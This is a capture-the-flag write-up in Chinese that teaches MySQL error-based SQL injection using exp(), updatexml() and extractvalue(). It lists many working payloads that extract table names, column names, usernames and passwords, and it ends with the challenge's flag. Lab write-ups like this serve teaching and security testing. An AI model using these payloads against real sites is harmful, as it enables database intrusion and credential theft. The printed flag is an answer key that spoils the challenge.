1.我们先尝试万能密码
发现被过滤了,再尝试union select,or,等
还是一样的结果,也就是都被过滤了,尝试了双写之后也是一样的,尝试一下报错注入,
什么是报错注入?
报错注入是通过特殊函数错误使用并使其输出错误结果来获取信息的。简单点说,就是在可以进行sql注入的位置,调用特殊的函数执行,利用函数报错使其输出错误结果来获取数据库的相关信息
报错注入的种类?
1.BigInt数据类型溢出
2.函数参数格式错误
BigInt数据类型溢出:
exp(int)函数返回e的x次方,当x的值足够大的时候就会导致函数的结果数据类型溢出,也就会因此报错:"DOUBLE value is out of range"
?id=1" and exp(~(select * from (select user())a)) --+
先查询select user()这个语句的结果,然后将查询出来的数据作为一个结果集取名为a
然后在查询select * from a 查询a,将结果集a全部查询出来
查询完成,语句成功执行,返回值为0,再取反(~按位取反运算符),exp调用的时候e的那个数的次方,就会造成BigInt大数据类型溢出,就会报错
获取表名:
?id=1" and exp(~(select * from (select table_name from information_schema.tables where table_schema=database() limit 0,1)a)) --+
获取列名:
?id=1" and exp(~(select * from (select column_name from information_schema.columns where table_name='users' limit 0,1)a)) --+
获取列名对应信息:
?id=1" and exp(~(select * from(select username from 'users' limit 0,1))) --+
适用mysql数据库版本是:5.5.5~5.5.49
除了exp()函数之外,pow()之类的相似函数同样可以利用BigInt数据溢出的方式进行报错注入
函数参数格式错误:
两个重要函数:updatexml() extractvalue ()
我们就需要构造Xpath_string格式错误,也就是我们将Xpath_string的值传递成不符合格式的参数,mysql就会报错
第一个参数:XML的内容
第二个参数:是需要update的位置XPATH路径
第三个参数:是更新后的内容
所以第一和第三个参数可以随便写,只需要利用第二个参数,他会校验你输入的内容是否符合XPATH格式,
updatexml()函数语法:updatexml(XML_document,Xpath_string,new_value)
XML_document:是字符串String格式,为XML文档对象名称
Xpath_string:Xpath格式的字符串
new_value:string格式,替换查找到的符合条件的数据
查询当前数据库的用户信息以及数据库版本信息:
?id=1" and updatexml(1,concat(0x7e,user(),0x7e,version(),0x7e),3) --+
获取当前数据库下数据表信息:
?id=1" and updatexml(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e),3) --+
获取users表名的列名信息:
?id=1" and updatexml(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e),3) --+
获取users数据表下username、password两列名的用户字段信息:
?id=1" and updatexml(1,concat(0x7e,(select username from users limit 0,1),0x7e),3) --+
?id=1" and updatexml(1,concat(0x7e,(select password from users limit 0,1),0x7e),3) --+
extractvalue()函数语法:extractvalue(XML_document,XPath_string)
获取当前是数据库名称及使用mysql数据库的版本信息:
?id=1" and extractvalue(1,concat(0x7e,database(),0x7e,version(),0x7e)) --+
获取当前位置所用数据库的位置:
?id=1" and extractvalue(1,concat(0x7e,@@datadir,0x7e)) --+
获取表名:
?id=1" and extractvalue(1,concat(0x7e,(select table_name from information_schema.tables where table_schema=database() limit 0,1),0x7e)) --+
获取users表的列名:
?id=1" and extractvalue(1,concat(0x7e,(select column_name from information_schema.columns where table_name='users' limit 0,1),0x7e)) --+
获取对应的列名的信息(username/password):
?id=1" and extractvalue(1,concat(0x7e,(select username from users limit 0,1),0x7e)) --+
我们尝试以后就会发现updatexml() extractvalue ()没有被过滤,函数参数格式错误
就可以运用函数开始注入
先查数据库
1'or(updatexml(1,concat(0x7e,database()),1))#
concat函数将里面内容连成字符串,与xpath的格式不符,所以会报错,0x7e的axii码为~,xpath的格式通常是为xx/xx/xx,传进去字符串就会报错,也就会显示报错信息。
查表名
1'or(updatexml(1,concat(0x7e,(select(table_name)from(information_schema.tables)where(table_schema)like('geek'))),1))#
查列名
1'or(updatexml(1,concat(0x7e,(select(group_concat(column_name))from(information_schema.columns)where(table_name)like('H4rDsq1'))),1))#
列名为id,username,password
查字段
1'or(updatexml(1,concat(0x7e,(select(group_concat(id,'/',username,'/',password))from(H4rDsq1))),1))#
没有显示全,原来是因为updatexml只显示32位字符
sql中的right函数右到左,也就是输出右边的,left函数是从左边到右边就是输出左边的
1'or(updatexml(1,concat(0x7e,(select(right(password,30))from(H4rDsq1))),1))#
为什么要那么多括号?
原理:括号是来包含子查询的,任何可以计算出结果的语句都可以用括号围起来,而括号的两端,可以没有多余的空格
如果我们直接将俩段flag接在一起会发现是错误的,问了之后发现中间有重复的部分我们删掉它
最后的结果是flag{6ae5e2d2-e7cc-4432-a68e-f6fe607d2aeb}